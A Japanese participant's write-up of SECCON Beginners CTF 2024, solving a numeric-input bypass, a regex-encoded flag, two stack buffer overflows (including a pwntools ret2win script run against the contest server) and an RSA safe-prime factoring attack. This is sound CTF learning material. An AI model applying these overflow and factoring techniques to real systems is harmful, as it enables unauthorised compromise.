SECCON Beginners CTF 2024 Writeup

この大会は2024/6/15 14:00(JST)~2024/6/16 14:00(JST)に開催されました。
今回は個人で参戦。結果は361点で962チーム中251位でした。
自分で解けた問題をWriteupとして書いておきます。

Welcome (welcome)

Discordに入り、#announcementsチャネルのメッセージを見ると、フラグが書いてあった。

ctf4b{Welcome_to_SECCON_Beginners_CTF_2024}

getRank (misc)

main.rsを見るとこう書いてある。

const RANKING = [10 ** 255, 1000, 100, 10, 1, 0];

type Res = {
  rank: number;
  message: string;
};

function ranking(score: number): Res {
  const getRank = (score: number) => {
    const rank = RANKING.findIndex((r) => score > r);
    return rank === -1 ? RANKING.length + 1 : rank + 1;
  };

  const rank = getRank(score);
  if (rank === 1) {
    return {
      rank,
      message: process.env.FLAG || "fake{fake_flag}",
    };
  } else {
    return {
      rank,
      message: `You got rank ${rank}!`,
    };
  }
}

function chall(input: string): Res {
  if (input.length > 300) {
    return {
      rank: -1,
      message: "Input too long",
    };
  }

  let score = parseInt(input);
  if (isNaN(score)) {
    return {
      rank: -1,
      message: "Invalid score",
    };
  }
  if (score > 10 ** 255) {
    // hmm...your score is too big?
    // you need a handicap!
    for (let i = 0; i < 100; i++) {
      score = Math.floor(score / 10);
    }
  }

  return ranking(score);
}

index.htmlを見るとこう書いてある。

      function getRank() {
        const rankElement = document.getElementById("rank");
        const messageElement = document.getElementById("message");

        fetch("/", {
          method: "POST",
          headers: {
            "Content-Type": "application/json",
          },
          body: JSON.stringify({ input: `${score}` }),
        })
          .then((response) => response.json())
          .then((data) => {
            rankElement.textContent = data.rank ?? "-1";
            messageElement.textContent =
              data.message ?? "Error occurred.";
          })
          .catch((error) => {
            rankElement.textContent = "-1";
            messageElement.textContent = "Error occurred.";
            console.error(error);
          });
      }

直接scoreを指定して、メッセージを取得する。なお、scoreは10**255より大きい場合は、1/10を100回行い、長さで300を超えない範囲では10進数で指定できないので、16進数で指定する。

$ curl https://getrank.beginners.seccon.games/ -H "Content-Type: application/json" -d '{"input": "0x9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999"}'  
{"rank":1,"message":"ctf4b{15_my_5c0r3_700000_b1g?}"}
ctf4b{15_my_5c0r3_700000_b1g?}

clamre (misc)

flag.ldbを見ると、以下のような正規表現が書いてある。

/^((\x63\x74\x66)(4)(\x62)(\{B)(\x72)(\x33)\3(\x6b1)(\x6e\x67)(\x5f)\3(\x6c)\11\10(\x54\x68)\7\10(\x480)(\x75)(5)\7\10(\x52)\14\11\7(5)\})$/

順に文字を確認していく。

(\x63\x74\x66)
>>> "\x63\x74\x66"
'ctf'

(\x62)
>>> "\x62"
'b'

(\x72)
>>> "\x72"
'r'

(\x33)
>>> "\x33"
'3'

\3
インデックス3の値のため、'4'になる。

(\x6b1)
>>> "\x6b1"
'k1'

(\x6e\x67)
>>> "\x6e\x67"
'ng'

(\x5f)
>>> "\x5f"
'_'

\3
インデックス3の値のため、'4'になる。

(\x6c)
>>> "\x6c"
'l'

\11
インデックス11の値のため、'\x6c'(='l')になる。

\10
インデックス10の値のため、'\x5f'(='_')になる。

(\x54\x68)
>>> "\x54\x68"
'Th'

\7
インデックス7の値のため、'\x33'(='3')になる。

\10
インデックス10の値のため、'\x5f'(='_')になる。

(\x480)
>>> "\x480"
'H0'

(\x75)
>>> "\x75"
'u'

\7
インデックス7の値のため、'\x33'(='3')になる。

\10
インデックス10の値のため、'\x5f'(='_')になる。

(\x52)
>>> "\x52"
'R'

\14
インデックス14の値のため、'\x75'(='u')になる。

\11
インデックス11の値のため、'\x6c'(='l')になる。

\7
インデックス7の値のため、'\x33'(='3')になる。
ctf4b{Br34k1ng_4ll_Th3_H0u53_Rul35}

simpleoverflow (pwnable)

10バイトを超え、任意の文字を入力すると、BOFでis_adminが上書きされ、フラグが読める。

$ nc simpleoverflow.beginners.seccon.games 9000
name:aaaaaaaaaaa
Hello, aaaaaaaaaaa

ctf4b{0n_y0ur_m4rk}
ctf4b{0n_y0ur_m4rk}

simpleoverwrite (pwnable)

$ ./chall
input:aaaaaaaaaaaaaaaaaaABCD
Hello, aaaaaaaaaaaaaaaaaaABCD

return to: 0x7f0a44434241
zsh: segmentation fault  ./chall

BOFでwin関数をコールすればよい。

#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('simpleoverwrite.beginners.seccon.games', 9001)
else:
    p = process('./chall')

elf = ELF('./chall')

win_addr = elf.symbols['win']

payload = b'A' * 18
payload += p64(win_addr)

data = p.recvuntil(b':').decode()
print(data, end='')
print(payload)
p.sendline(payload)
for _ in range(3):
    data = p.recvline().rstrip()
    print(data)

実行結果は以下の通り。

[+] Opening connection to simpleoverwrite.beginners.seccon.games on port 9001: Done
[*] '/mnt/hgfs/Shared/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
input:b'AAAAAAAAAAAAAAAAAA\x86\x11@\x00\x00\x00\x00\x00'
b'Hello, AAAAAAAAAAAAAAAAAA\x86\x11@'
b'return to: 0x401186'
b'ctf4b{B3l13v3_4g41n}'
[*] Closed connection to simpleoverwrite.beginners.seccon.games port 9001
ctf4b{B3l13v3_4g41n}

Safe Prime (crypto)

RSA暗号で、pとqは以下の関係があることがわかる。

q = 2 * p + 1

n = p * q であることから、以下のようにpの2次方程式にすることができる。

p * (2 * p + 1) = n

これを解けば、pがわかり、nを素因数分解することができる。あとは通常通り、RSA暗号の復号を行えば、フラグが得られる。

#!/usr/bin/env python3
from Crypto.Util.number import *
import sympy

with open('output.txt', 'r') as f:
    params = f.read().splitlines()

e = 65537
n = int(params[0].split(' ')[-1])
c = int(params[1].split(' ')[-1])

p = sympy.Symbol('p')
eq = p * (2 * p + 1) - n
sol = sympy.solve(eq)
for p in sol:
    if p > 0:
        break

p = int(p)
q = n // p
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode()
print(flag)
ctf4b{R3l4ted_pr1m3s_4re_vuLner4ble_n0_maTt3r_h0W_l4rGe_p_1s}